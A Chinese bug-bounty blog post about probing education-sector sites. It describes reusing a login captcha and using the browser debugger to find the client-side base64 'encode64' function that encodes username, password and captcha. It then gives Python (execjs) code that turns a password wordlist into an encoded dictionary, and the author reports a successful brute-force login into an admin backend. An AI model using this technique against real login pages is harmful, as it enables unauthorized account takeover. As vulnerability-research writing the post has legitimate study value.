声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
兄弟们,系我,暗月最深情的徒弟,跟着月师傅苦学两年半的挖洞练习生。为什么要写关于教育园了,第一嘛好上手挖洞,第二是我看隔壁小迪也再搞edu的挖掘,不能丢面子呀,打算给月师傅专门搞个教育园src专场小技巧,望大家给月师傅公众号(搜:moonsec)和我点点关注。
0x01 前言
本来是不打算挖教育园了,除了上面的理由,主要是某个好成员教育园分超过我了???,再加上又来个1000多分的佬,不行了我也要开始上分,不能丢月师傅的脸。
0x02 信息收集
没有信息收集了,这次主要讲小技巧关于js的我们直接看登录界面,兄弟们。发现验证码可以重复利用
然后直接看了看登录接口的数据包,好家伙进行加密了,找了一下其他利用方式,还没有发现,看来只能直接js逆向,然后再爆破
可能会有聪明的大兄弟发现是base64了,心里再说:mmp,这么简单的解密还不会,垃圾。可惜这不是我要扣的重点,我是想教会大家js调试和学到东西,而且万一是他自己写的加密的方式了
0x03 js的调试
为什么要调试?主要为了找出js里面加密的主要函数,然后用python去调用加密函数对你的字典加密,然后就可以爆破了。首先搞清楚是哪个字段加密,userInfo是加密的,那我们就搜索关键字。
然后直接点登录,你会发现他直接跳到断点的地方了,而且还很清晰的看出来这些用户名和密码是怎么加密的
接下来点击下一步,没学过js的也可以很容易的看出来了,是encode64这个函数对portableList进行加密,而portableList是由账号秘密验证码 拼接起来了的
0x04 调用js函数生成字典
我们已经搞清楚是哪个函数加密了,直接吧它拿到我们的pycharm里面
写一个调用js函数的python代码,运行一下看看,是不是与前端加密的一样
with open('9.js', 'r', encoding='utf-8') as f:
jstext = f.read()#用来通过变量js.call来调用js的函数
ctx = execjs.compile(jstext) # Compile the jstext only once
def pwd():#调用getPW()js代码对a进行加密
portableList = ctx.call('encode64',a)
return portableList
a="123456,123456,99999"
print(pwd())
好家伙是一样的
废话不多说,直接来一个生成加密字典的python代码
import execjs
from A import *
from js import md51
import hashlib
with open('9.js', 'r', encoding='utf-8') as f:
jstext = f.read()#用来通过变量js.call来调用js的函数
ctx = execjs.compile(jstext) # Compile the jstext only once
def pwd(a):#调用getPW()js代码对a进行加密
portableList = ctx.call('encode64',a)
return portableList
try:
text="9579"#验证码可重复使用
filename = "zidian.txt"
new_value1 = "admin,123456,"+text+""
with open(filename, "r") as file:
lines = file.readlines()
with open("9999.txt", "w") as file_out:
for line in lines:
line = line.strip()
line = new_value1.replace("admin", line)
data = pwd(line)
print(data)
file_out.write(data + "\n")
except Exception as e:
print("An error occurred:", e)
0x04 爆破
用刚刚的加密好的字典直接爆破看看,发现成功,岂不是可以进入后台获取更多的功能点,进一步利用了,现在已经4.00了,俺先睡了,下次再挖再写。
0x04 总结
这里只是遇到一个很简单的加密方式,遇到难的或者很经典下次再分享了,写代码真的头疼,本来是想写先orc识别验证码,然后将验证码返回到爆破脚本爆破,这样子就可以批量跑相同的cms了,可惜验证码哪里要最新的才能可以一直使用,还没有找到解决办法。后面想了想还是写burp插件好一点就不会有这些破事了有没有好兄弟有burp插件的资料让我学习一下。本人爱好喜欢听人吹nb,欢迎前来交流。
推荐阅读:干货 | 记又一次教育园js逆向挖掘
推荐阅读:干货 | 一波三折的教育园证书挖掘
推荐阅读:干货 | 记又一次教育园证书挖掘
推荐阅读:干货 | 教育园src上分小技巧
点赞,转发,在看